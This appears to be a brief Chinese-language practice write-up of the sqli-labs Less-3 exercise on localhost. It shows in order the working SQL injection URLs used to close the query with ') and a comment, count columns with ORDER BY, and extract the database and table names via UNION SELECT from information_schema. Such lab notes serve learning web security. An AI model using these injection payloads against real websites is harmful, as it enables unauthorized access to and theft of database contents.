payload
http://127.0.0.1/Less-3/?id=1')--+
是OK的。
但是少了)就不行，它里面的SQL是怎么写的呢？
这个)有啥用哦......
哦，它有可能是子查询，所以要用到这个括号了。
我要在这个子查询里搞事情。
搞毛，不行，所以我就在子查询外搞了一波。
http://127.0.0.1/Less-3/?id=1') order by 4--+
error页面
http://127.0.0.1/Less-3/?id=1') order by 3--+
正确页面。
好了，开始进入正题：
一、数据库
http://127.0.0.1/Less-3/?id=1.11111') union select 1,database(),3--+
二、数据表
http://127.0.0.1/Less-3/?id=1.11111') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
就不继续了，重复的工作不想做，心累......